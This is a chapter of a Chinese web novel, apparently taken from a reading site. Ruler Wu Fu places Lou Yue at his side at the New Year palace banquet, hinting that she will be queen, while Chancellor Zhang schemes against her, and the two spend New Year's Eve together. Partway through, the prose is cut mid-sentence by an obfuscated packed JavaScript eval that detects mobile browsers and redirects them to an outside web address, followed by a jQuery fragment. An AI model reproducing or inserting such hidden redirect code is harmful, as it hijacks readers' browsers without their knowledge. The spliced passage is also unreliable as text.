98. 第 98 章

作品:《穿到反派少年时

    见楼月要往殿外去赏雪,吴覆又吩咐宫人取了狐皮大氅和手炉给她。


    吩咐罢,透过窗见她果然裹上了大氅,捧着手炉,这才将目光收回来,听张相禀报事情。


    张相不动声色地看在眼里,照旧将事情一一禀报。末了该退下的时候,却像是拉家常一般,不经意地道:“君上,年关将至,今年宫中设宴,是否要众臣女眷进宫?”


    往年年关,宫中虽设宴,但都是国君设宴招待众臣。照理来说,其实每逢年节,后宫也是要设宴招待命妇的,只是因国君后宫空置,从无任何妃嫔,这才作罢的。如今后宫终于不是空的了,那么是不是可以设宴招待命妇了?


    说来,自那女子入宫后,众臣皆以为后宫要渐渐充实起来了,奈何这几个月下来,后宫中竟也只有那女子一人。不是没有臣子提过,请君上广纳后宫、以绵延子嗣,但君上却像从前一样置之不理。简直就像是……就像是有了这女子一人就够了一样。


    张相国不由得心中暗暗焦急起来。若是君上愿广纳后宫,那么他自然不会介怀那女子半分,等他们张氏女入宫,难道争不来宠?只是如今看这女子,竟有独宠的意思,再这样下去,岂不是长子都要从她肚中生出来了?


    不过奇怪的是,那女子至今还没有封号,听说宫人都只称她为楼姑娘。


    吴覆听了这话,想了想,道:“张相倒是提醒寡人了。”


    确实可以借着年关筵宴,召女眷进宫拜见她了,免得她在宫中无趣。而且,这样正式的场合她也该露一露面,省得旁人以为她没有身份,将她看低了。


    见国君答应,张相便又道:“既然要受命妇朝见,君上,是否要给那楼姑娘拟个封号?”


    吴覆黑沉的目光扫了过来,漠然道:“相国既然提议,想来定有想法。说吧。”


    张相有试探之意,吴覆能听出来,他心下厌烦,不想继续周旋了。


    张相便道:“不如……定为美人如何?”美人乃后宫嫔妃的位阶之一,算是中等,刚入宫的一家世不明的女子,定这位阶,实在不低了。


    此话说出,却见君上身上威压更盛。但吴覆最后只是道:“寡人后宫,不劳相国操心了。退下吧。”竟是否了张相的提议。


    张相只好退下,离开延英殿时,看到那白裙女子披着一件黑色的狐皮大氅,正站在廊下伸手去接雪。


    张相拄拐离去。美人都嫌封低了,君上要给这家世不明的女子封什么位阶呢?总不可能当王后吧?


    ……


    在一场又一场的大雪中,年底的宫宴到了。


    自国君登基以来,众位命妇们头一次进宫参加筵宴,进入内宫时不由得将衣裳首饰一整再整,生怕哪里礼数出错。入宫时辰都差不多,因此一路朝内宫行去时,也能见到平日交好的命妇,不由得多谈上几句。


    谈论的对象嘛,自然就是那位新宠楼姑娘了。到底是什么样的女子,能让素来不近女色、空置六宫的君上,被君上独宠数月。


    另外,听说那位楼姑娘至今仍无封号,那么诸命妇又该如何觐见?须知命妇可是有品阶的,总不能觐见一平民女子吧。


    但到了殿中时,众位命妇却发现自己这问题显然是想多了——因为殿上端坐的不是别人,竟是国君。那楼姑娘就坐在国君身边,向君上行礼,也就是向楼姑娘行礼了。


    只是……只是礼制规定,正式筵宴中坐在国君身边接受朝贺的,只能是王后啊。


    难道——君上有意要封这女子为后?今日筵宴,不过提前露个口风,让大家好慢慢接受而已。可那女子出身如何,家世如何,且入宫不过数月,怎么竟能有望后位?


    无论心中如何震惊,众位命妇都没有失了礼数,叩拜行礼。


    趁着行礼的功夫,忙看一眼那女子——见那女子相貌昳丽,肌肤莹莹如玉,那双眸子颜色偏淡,显得非常清亮,如流波逐月,让人一望沉溺。她并未穿金戴银,而是以羊脂白玉钗挽起瀑般的乌发,穿着一身玉白色的暗纹衣裳,恍然如月下仙子。


    楼月今日真是如坐针毡,可偏偏大袖之下,吴覆一直牢牢握着她的手,不许她走。


    她当过西楼公主,自然知晓宫廷礼数——这样正式的筵宴场合,以她的身份无论如何是没法参加的,更别提坐在主位招待诸命妇了。以前在楼国时,这是王后才有的权力!


    奈何吴覆的强势,在这件事上展现地淋漓尽致,并不容许她拒绝,只是命人给她准备衣裳首饰,让她准备出席。


    楼月说这样不合礼制,吴覆却说他的话就是礼制。楼月说这样大家会乱想,吴覆却说任他们去想,谅他们不敢说。


    楼月无奈,她有时候觉得吴覆确实不愧是原书中的反派,他行事很是狂悖,对于人心、对于看法,他并不在乎。


    玄色朝服的大袖下,吴覆紧紧握着楼月的手,看着众人朝她行礼。他想,他一定会将她封为王后的。只是她还目前还没有接受他的感情,所以他还在等。等待的过程中,自然也该替她铺一铺路,让那些怀有别样心思的臣子,趁早打消了那些念头。


    众命妇觐见完毕后,依次落座,丝竹幽幽响起,宫人穿梭往来,宫宴便正式开始了。


    吴覆这才慢慢松开了楼月的手,他看过去,果然见她隐隐地瞪了自己一眼,显然是对他强行令她参加宫宴一时,很不满了。


    吴覆倾身过去,低声对她说,“我要去前朝宫宴了,你就在这里,若有事,遣人来找我便是。若有人对你不敬,不用忍着,想怎么做就怎么做,有我撑腰的。”


    “放心,我会少饮酒的。”他知道她不喜酒味,他可不想被她嫌弃。


    大庭广众之下,楼月得维护一国之君的威严,便不能像平常那样把他推开,只好隐晦地瞪了他一眼,再轻哼了一声,当做回答。谁担心他饮酒了?


    吴覆却轻笑一声,不以为忤,在众命妇的跪拜中离开了。


    宫宴结束后,众命妇自然将今夜后宫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415095|156967||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宫宴的情况告诉了自家夫君,众臣又不是傻的,宫宴的座次是很严肃的,容不得错。


    君上带着那楼姓女子坐在主位,隐含的意思很显然了——君上有意立她为后,此举是给那女子提前铺路,也是让众臣好有个心理准备。


    等真正封后的御旨下来后,朝堂上该说什么话、不该说什么话,众臣心里得有数——毕竟这位君上,性格威严冷漠,可是容不得丝毫违逆的。


    张相国的消息自不会落后于众臣,从夫人处得知后宫宫宴的情况后,他眉心狠狠一跳。


    那女子,竟独宠至此。他们张氏女,只怕入宫无望了。那他们张氏,岂不是做不了外戚了?


    梦想中的滔天权势被阻断,张相国一张脸顿时阴鸷起来。


    ……


    宫宴过后,除夕就悄无声息地来了。吴覆乃孤家寡人一个,没有父母亲友,因此宫中素来没有除夕开家宴的习惯,倒是颇显冷清。而楼月,她在这位面也是孤身一人,每逢过年她其实都多少有些寂寥。


    但今年却不一样,两个无父无母无亲无友的人,在一起,那些孤寂竟好像都消退了。


    除夕前后吴覆倒难得清闲下来,没有多少政事,因此难得有许多时间能陪在楼月身边。白日里吴覆屏退了所有亲卫,只有他们二人出宫,二人只穿着常服,一起走街串巷,感受着市井烟火气。


    碰到街巷中孩童们聚在一起追逐玩耍,又因分糖不均吵闹起来,楼月看得失笑,索性将自己从集市上买来的糖果糕点分给那些孩童,一时她被团团围起来。吴覆只负手站在一边静静看着这一幕,神色微动,那肃冷的神情中竟多了几分温馨。


    回宫后,夜里自然放了烟花炮仗,火树银花,楼月看得实在高兴。时间就这样很快过去了,夜色极深了,楼月有些困了,吴覆却拉着她不让她睡,说今夜要守岁的。楼月只好强撑着眼皮,只是撑到子时过后,实在是困得守不住了,头一歪,只觉得靠到了一个坚实温暖的东西上,然后就睡了过去。


    靠过来的吴覆,就见楼月偎在自己胸前,一下子就睡了过去。


    安静的夜里,只有她轻缓的呼吸。他把她身子扶正,她却也没醒,看来确实是困得厉害。给她披上大氅,将她裹得严严实实后,吴覆把她抱在怀里,出了殿门坐在庑廊下,看外面的漫天大雪。


    怀里的人呼吸平缓,身体随着呼吸微微起伏,在这个只有落雪声的宁静夜里,显得这样明显。


    吴覆觉得很幸福。


    此前,无论是以前被困寒柳院,还是在北戎挣命的那几年,又或是做了国君之后,他都有许多难眠的夜晚。那些夜晚他独坐到天明,只觉得长夜漫漫,像是怎么都熬不到天亮。


    但今夜,依旧是一个不眠的夜晚,但有怀里这个熟睡的人,他觉得一切都值得了。


    “故岁今宵尽,新年明岁来。”在漫天的大雪中,他低下头,轻轻对怀里人说,“楼月,新年快乐。”虔诚地在她额上落下轻轻一吻。